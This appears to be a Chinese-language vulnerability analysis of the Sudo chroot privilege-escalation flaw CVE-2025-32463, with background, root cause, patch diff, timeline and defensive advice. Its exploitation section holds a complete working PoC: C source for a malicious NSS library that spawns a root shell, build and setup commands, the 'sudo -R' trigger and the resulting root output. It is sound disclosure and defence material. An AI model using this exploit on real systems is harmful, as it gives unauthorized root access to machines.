漏洞背景与影响
Sudo作为Linux系统中实现最小权限原则的核心工具,允许授权用户以其他用户(通常是root)身份执行命令,同时保留审计日志。2025年6月30日,Stratascale网络安全研究团队(CRU)披露了Sudo中的一个高危本地提权漏洞(CVE-2025-32463),该漏洞存在于Sudo的chroot功能中,可允许任何本地低权限用户在无需配置Sudo规则的情况下,将权限提升至root。
影响范围
- 漏洞版本:Sudo 1.9.14 至 1.9.17(稳定版)
- 不受影响版本:Sudo legacy版本(≤1.8.32,因无chroot功能)
- 验证环境:Ubuntu 24.04.1(Sudo 1.9.15p5/1.9.16p2)、Fedora 41 Server(Sudo 1.9.15p5)
技术原理:chroot与NSS的安全边界突破
要理解该漏洞,需先明确Sudo的chroot实现与Linux Name Service Switch(NSS)机制的交互逻辑。
chroot功能简介
chroot通过修改进程的根目录(将其限制在指定路径),实现对文件系统访问的隔离。例如,FTP服务器可通过chroot将用户限制在/home/user目录,阻止其访问/etc/passwd等系统文件。但Linux man文档明确指出,chroot并非强安全边界,仅改变路径解析逻辑,无法完全沙箱化进程。
Sudo通过-R <目录>或--chroot=<目录>选项支持chroot,允许在执行命令前切换至指定根目录。这是一个极少使用的边缘功能,例如在sudoers中配置规则:
lowpriv ALL = CHROOT=/web /bin/bash
此时lowpriv用户执行sudo /bin/bash时,Sudo会先将根目录切换至/web,因此/web/bin/bash及依赖库必须存在。
漏洞根源:1.9.14版本的命令匹配逻辑修改
漏洞源于Sudo 1.9.14对chroot命令匹配逻辑的优化。根据官方更新日志,该版本为增强chroot场景下的命令匹配准确性,在匹配阶段引入了pivot_root()和unpivot_root()函数,实现临时切换根目录后再执行命令校验。
这一修改导致了关键安全问题:低权限用户可指定一个自己可控的可写路径作为chroot目录,而Sudo在命令匹配过程中会多次调用chroot(),期间触发NSS操作,最终加载该目录下的恶意库文件。
NSS机制的滥用
NSS是Linux用于统一用户、组、主机等信息查询的框架,其配置文件/etc/nsswitch.conf定义了查询源(如files、ldap)。例如:
passwd: files ldap
表示用户信息查询优先从本地文件(/etc/passwd)获取,再尝试LDAP。关键特性:NSS会将查询源映射为共享库(如ldap对应libnss_ldap.so),查询时自动加载该库。
当Sudo在chroot目录中执行命令匹配时,会触发用户信息校验(如getpwnam),此时NSS会读取chroot目录下的/etc/nsswitch.conf。若该文件由攻击者控制(例如指定passwd: /woot1337),NSS会尝试加载libnss_/woot1337.so.2——这一路径完全由攻击者控制。
漏洞利用过程
核心思路
攻击者通过构造恶意chroot环境,让Sudo在命令匹配阶段加载自定义共享库,执行提权代码。
详细步骤(基于PoC)
-
创建临时环境:
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd $STAGE -
编写恶意共享库:
创建woot1337.c,在初始化函数中提权并执行bash:#include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0, 0); // 切换为root uid setregid(0, 0); // 切换为root gid chdir("/"); execl("/bin/bash", "/bin/bash", NULL); // 执行root shell }编译为共享库:
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c -
构造NSS配置:
在chroot目录下创建woot/etc/nsswitch.conf,指定恶意查询源:mkdir -p woot/etc echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc # 满足基础依赖 -
触发漏洞:
执行sudo -R woot woot,Sudo会:- 切换根目录至woot(攻击者可控路径)
- 触发NSS用户信息查询,加载
libnss_/woot1337.so.2 - 恶意库执行
setreuid和execl,获得root shell
漏洞验证与PoC分析
成功提权的执行结果
低权限用户执行PoC脚本后,直接获取root权限:
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)
简化演示代码(chwoot-demo.c)
以下代码模拟Sudo的漏洞行为,验证chroot与NSS的交互风险:
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h>
int main() {
chdir("/tmp/stage");
int saved_root = open("/", O_RDONLY); // 保存原始根目录
int saved_cwd = open(".", O_RDONLY); // 保存原始当前目录
chroot("/tmp/stage"); // 切换至恶意chroot目录
chdir("/");
gethostbyname("woot"); // 触发NSS查询
fchdir(saved_root);
chroot("."); // 恢复根目录
fchdir(saved_cwd);
getgrnam("got root?"); // 后续操作已被恶意库劫持
}
修复方案与防御建议
官方补丁:还原命令匹配逻辑
Sudo 1.9.17p1通过以下方式修复漏洞:
- 移除
pivot_root()和unpivot_root()函数 - 命令匹配阶段不再调用chroot(),还原至1.9.14之前的逻辑
补丁对比(sudoers.c):
--- sudo-1.9.17/plugins/sudoers/sudoers.c 2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c 2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
- struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
const char *cmnd_in;
char *cmnd_out = NULL;
char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
if (def_secure_path && !user_is_exempt(ctx))
path = def_secure_path;
- /* Pivot root. */
- if (runchroot != NULL) {
- if (!pivot_root(runchroot, &pivot_state))
- goto error;
- }
-
- ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+ ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
if (ret == FOUND) {
char *slash = strrchr(cmnd_out, '/');
if (slash != NULL) {
@@ -1122,14 +1115,8 @@
else
ctx->user.cmnd = cmnd_out;
- /* Restore root. */
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
-
debug_return_int(ret);
error:
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
free(cmnd_out);
debug_return_int(NOT_FOUND_ERROR);
}
防御建议
- 立即升级:安装Sudo 1.9.17p1或更高版本,无临时规避方案。
- 禁用chroot功能:该选项已在1.9.17p1中废弃,避免使用
sudo -R或sudoers中的CHROOT=规则。 - 环境审计:
- 检查
/etc/sudoers及/etc/sudoers.d/下的runchroot=或CHROOT=配置 - 通过ldapsearch审计LDAP存储的Sudo规则
- 搜索系统日志中含
CHROOT=的sudo执行记录
- 检查
披露时间线
- 2025/04/01:漏洞报告提交至Sudo维护者
- 2025/04/08:MITRE分配CVE-2025-32463
- 2025/06/09:维护者提交修复补丁
- 2025/06/30:公开披露及技术细节发布
致谢
漏洞由Stratascale CRU的Rich Mirch发现,感谢Sudo维护者Todd Miller的协作修复。
该漏洞揭示了边缘功能的安全风险:即使是极少使用的chroot选项,一旦与核心系统机制(如NSS)交互,也可能成为提权突破口。及时跟进官方补丁与安全审计,是防范此类漏洞的关键。


386

被折叠的 条评论
为什么被折叠?



